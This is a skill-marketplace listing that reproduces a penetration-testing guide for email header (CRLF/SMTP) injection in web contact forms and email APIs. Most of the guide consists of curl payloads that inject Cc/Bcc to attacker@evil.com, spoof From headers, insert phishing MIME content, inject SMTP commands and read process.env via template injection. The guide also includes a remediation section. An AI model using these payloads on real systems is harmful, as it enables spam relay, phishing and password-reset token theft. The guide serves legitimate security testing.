Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
mukul975 avatar

Testing For Email Header Injection

  • 188 installs
  • 27.3k repo stars
  • Updated August 2, 2026
  • mukul975/anthropic-cybersecurity-skills

testing-for-email-header-injection is a Claude Code security skill that tests web app email features for SMTP/CRLF header injection allowing recipient tampering and spam relay abuse.

About

This skill tests web application email functionality for SMTP header injection, where CRLF characters in user input let an attacker add headers, change recipients, or abuse contact forms as a spam relay. It identifies email injection points, injects Cc, Bcc, From, and Reply-To headers, tests IMAP/SMTP command injection and JSON email APIs, then validates whether injected copies arrive. A developer uses it during a penetration test of contact forms, password resets, or email API endpoints. It uses Burp Suite and test email accounts.

  • Tests contact forms and email APIs for CRLF header injection
  • Injects Cc, Bcc, From, and Reply-To headers
  • Tests IMAP/SMTP command injection and spam-relay abuse
  • Covers form-encoded and JSON email API endpoints

Testing For Email Header Injection by the numbers

  • 188 all-time installs (skills.sh)
  • +8 installs in the week ending Aug 4, 2026 (Skillselion tracking)
  • Ranked #798 of 2,203 Security skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
At a glance

testing-for-email-header-injection capabilities & compatibility

Free skill; requires Burp Suite and test email accounts.

Capabilities
email header injection testing · crlf injection testing · smtp injection testing · spam relay testing
Use cases
security audit · testing · email
Pricing
Free
From the docs

What testing-for-email-header-injection says it does

Test web application email functionality for SMTP header injection vulnerabilities
SKILL.md
abuse contact forms for spam relay
SKILL.md
Inject additional email headers via CRLF in the email field
SKILL.md
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-email-header-injection

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs188
repo stars27.3k
Last updatedAugust 2, 2026
Repositorymukul975/anthropic-cybersecurity-skills

Can CRLF characters in a form field inject new email headers, change recipients, or turn the form into a spam relay?

Testing contact forms and email APIs for CRLF/SMTP header injection and spam-relay abuse during a pentest.

Who is it for?

Penetration testers assessing whether user input reaches email headers and enables Cc/Bcc injection or spam relay.

Skip if: Testing without authorization, or teams wanting to build safe email handling rather than attack it.

When should I use this skill?

When testing contact forms, password reset, newsletter, or email API endpoints that send email based on user input.

What you get

A documented injection chain per vulnerable field, with the encoding used and the spam-relay or phishing impact.

  • Identified email injection points per field
  • Confirmed CRLF/SMTP header injection with required encoding
  • Documented spam-relay or phishing impact chain

By the numbers

  • 5 MITRE ATT&CK technique references (T1190, T1059.007, T1505.003, T1083, T1055)
  • 6-step workflow from injection-point discovery to validation

Files

SKILL.mdMarkdownGitHub ↗

Testing for Email Header Injection

When to Use

  • When testing contact forms, feedback forms, or "email a friend" functionality
  • During assessment of password reset email functionality
  • When testing newsletter subscription or notification email systems
  • During penetration testing of applications that send emails based on user input
  • When auditing email-related API endpoints for header injection

Prerequisites

  • Burp Suite for intercepting and modifying HTTP requests
  • Understanding of SMTP protocol and email header structure
  • Knowledge of CRLF injection techniques (\r\n sequences)
  • Test email accounts for receiving injected emails
  • Access to application features that trigger email sending
  • SMTP server logs access for monitoring injection attempts

Workflow

Step 1 — Identify Email Injection Points

# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields

# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms

# Test basic functionality first
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello&message=Test message"

Step 2 — Test for CRLF Header Injection

# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"

# Inject BCC header
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"

# Inject via the name field
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"

# Inject via subject field
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"

# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0D%0ACc:attacker@evil.com"

# %0A (LF only)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ACc:attacker@evil.com"

# %0D (CR only)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0DCc:attacker@evil.com"

# Double encoding
curl -X POST http://target.com/contact \
  -d "email=test@test.com%250ACc:attacker@evil.com"

Step 3 — Inject Custom Email Content

# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"

# Inject additional MIME parts
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"

# Override From header for email spoofing
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AFrom:ceo@target.com"

# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AReply-To:attacker@evil.com"

Step 4 — Test IMAP/SMTP Injection

# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
  -d "query=test%0AEXAMINE INBOX"

# SMTP command injection
curl -X POST http://target.com/api/send \
  -d "to=test@test.com%0ARCPT TO:attacker@evil.com"

# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
  -d "email=test@test.com%0AVRFY admin"

# Test SMTP relay abuse
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"

Step 5 — Test JSON-Based Email APIs

# JSON API header injection
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'

# Array injection for multiple recipients
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'

# Template injection in email body
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"test@test.com","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'

Step 6 — Validate Findings

# Check if injected CC/BCC emails were received
# Monitor attacker@evil.com inbox for received copies

# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers

# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC

# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)

Key Concepts

ConceptDescription
CRLF InjectionInjecting carriage return and line feed characters to create new email headers
Header InjectionAdding unauthorized headers (Cc, Bcc, From) to outgoing emails
Spam RelayAbusing email functionality to send spam to arbitrary recipients
Email SpoofingModifying From or Reply-To headers to impersonate trusted senders
MIME ManipulationInjecting MIME boundaries to override email body content
SMTP Command InjectionInjecting raw SMTP commands through unsanitized email parameters
Newline Characters\r\n (CRLF), \n (LF), \r (CR) used to separate email headers

Tools & Systems

ToolPurpose
Burp SuiteHTTP proxy for modifying email-related form submissions
swaksSwiss Army Knife for SMTP testing and header injection validation
OWASP ZAPAutomated scanner with email injection detection
mailhogLocal SMTP testing server for capturing injected emails
smtp4devDevelopment SMTP server for monitoring email injection results
NucleiTemplate scanner with email header injection detection templates

Common Scenarios

1. Spam Relay — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain 2. Phishing via Contact Form — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization 3. Password Reset Hijack — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim 4. Email Content Override — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content 5. Internal Email Abuse — Use header injection to send emails to internal addresses not normally accessible through the application

Output Format

## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)

### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |
| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |

### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality

Related skills

FAQ

What vulnerability does this test for?

SMTP header injection via CRLF sequences that lets attackers add headers, modify recipients, and abuse contact forms for spam relay.

Which fields does it target?

From name/email, To/CC sharing fields, subject lines, and Reply-To fields on contact, share, invite, send-email, and password-reset endpoints.

How is a finding validated?

By checking whether injected Cc/Bcc copies were received and inspecting the raw email source for injected headers.

Securityappsecaudit

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.